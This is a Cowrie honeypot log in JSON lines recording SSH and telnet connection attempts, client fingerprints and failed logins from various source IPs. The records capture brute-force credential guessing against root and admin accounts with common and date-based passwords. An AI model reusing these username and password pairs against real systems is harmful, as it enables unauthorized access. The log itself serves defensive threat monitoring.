{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17524,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e73b9293dc2","protocol":"ssh","message":"New connection: 2.57.121.112:17524 (10.17.0.5:22) [session: 2e73b9293dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:19.662457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:19.764253Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:19.860029Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04071970","message":"login attempt [admin/04071970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:20.330235Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040690","message":"login attempt [admin/040690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:21.432420Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061970","message":"login attempt [admin/04061970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:22.535159Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04051970","message":"login attempt [admin/04051970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:23.638581Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":44460,"dst_ip":"10.17.0.5","dst_port":23,"session":"d447df81b5f6","protocol":"telnet","message":"New connection: 98.30.219.209:44460 (10.17.0.5:23) [session: d447df81b5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:24.611871Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0405","message":"login attempt [admin/0405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:24.741395Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:25.845316Z","src_ip":"2.57.121.112","session":"2e73b9293dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37146,"dst_ip":"159.203.135.109","dst_port":22,"session":"c620b21bcf3a","protocol":"ssh","message":"New connection: 103.122.221.179:37146 (159.203.135.109:22) [session: c620b21bcf3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:44.468493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:44.473516Z","src_ip":"103.122.221.179","session":"c620b21bcf3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:44.732990Z","src_ip":"103.122.221.179","session":"c620b21bcf3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scarlet","message":"login attempt [root/scarlet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:45.511975Z","src_ip":"103.122.221.179","session":"c620b21bcf3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:57:46.770960Z","src_ip":"103.122.221.179","session":"c620b21bcf3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":55110,"dst_ip":"159.203.135.109","dst_port":22,"session":"d804b5a415b5","protocol":"ssh","message":"New connection: 202.53.94.246:55110 (159.203.135.109:22) [session: d804b5a415b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:03.169416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:03.174863Z","src_ip":"202.53.94.246","session":"d804b5a415b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:03.395569Z","src_ip":"202.53.94.246","session":"d804b5a415b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Admin123","message":"login attempt [root/@Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:04.305705Z","src_ip":"202.53.94.246","session":"d804b5a415b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:05.531883Z","src_ip":"202.53.94.246","session":"d804b5a415b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49156,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9f6f7a75370","protocol":"ssh","message":"New connection: 147.45.199.80:49156 (10.17.0.5:22) [session: c9f6f7a75370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:19.500230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:19.505123Z","src_ip":"147.45.199.80","session":"c9f6f7a75370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:19.608798Z","src_ip":"147.45.199.80","session":"c9f6f7a75370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dmitriev","message":"login attempt [root/dmitriev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:19.911008Z","src_ip":"147.45.199.80","session":"c9f6f7a75370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":49024,"dst_ip":"159.203.135.109","dst_port":22,"session":"50c79b91040a","protocol":"ssh","message":"New connection: 14.103.118.145:49024 (159.203.135.109:22) [session: 50c79b91040a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:20.336246Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:21.010996Z","src_ip":"147.45.199.80","session":"c9f6f7a75370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44180,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ebc6e3f483","protocol":"ssh","message":"New connection: 20.203.42.204:44180 (10.17.0.5:22) [session: f9ebc6e3f483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:33.791474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:33.797997Z","src_ip":"20.203.42.204","session":"f9ebc6e3f483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:33.968336Z","src_ip":"20.203.42.204","session":"f9ebc6e3f483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazwsx@123","message":"login attempt [root/Qazwsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:34.717824Z","src_ip":"20.203.42.204","session":"f9ebc6e3f483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:35.945748Z","src_ip":"20.203.42.204","session":"f9ebc6e3f483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40500,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b7233f9261c","protocol":"ssh","message":"New connection: 103.77.242.62:40500 (159.203.135.109:22) [session: 3b7233f9261c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:39.666015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:39.671012Z","src_ip":"103.77.242.62","session":"3b7233f9261c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:39.921669Z","src_ip":"103.77.242.62","session":"3b7233f9261c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abigail","message":"login attempt [root/abigail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:40.662581Z","src_ip":"103.77.242.62","session":"3b7233f9261c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:41.912281Z","src_ip":"103.77.242.62","session":"3b7233f9261c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":45884,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec95ddb96b6","protocol":"ssh","message":"New connection: 103.154.77.48:45884 (159.203.135.109:22) [session: aec95ddb96b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:44.181247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:44.186226Z","src_ip":"103.154.77.48","session":"aec95ddb96b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:44.425735Z","src_ip":"103.154.77.48","session":"aec95ddb96b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#qwe","message":"login attempt [root/123!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:45.420288Z","src_ip":"103.154.77.48","session":"aec95ddb96b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:46.663443Z","src_ip":"103.154.77.48","session":"aec95ddb96b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":37234,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f8c8d68bdec","protocol":"ssh","message":"New connection: 103.154.241.42:37234 (159.203.135.109:22) [session: 3f8c8d68bdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:51.809935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:51.814156Z","src_ip":"103.154.241.42","session":"3f8c8d68bdec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:52.061826Z","src_ip":"103.154.241.42","session":"3f8c8d68bdec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexander123","message":"login attempt [root/alexander123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:53.072675Z","src_ip":"103.154.241.42","session":"3f8c8d68bdec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:58:54.322229Z","src_ip":"103.154.241.42","session":"3f8c8d68bdec","protocol":"ssh"}
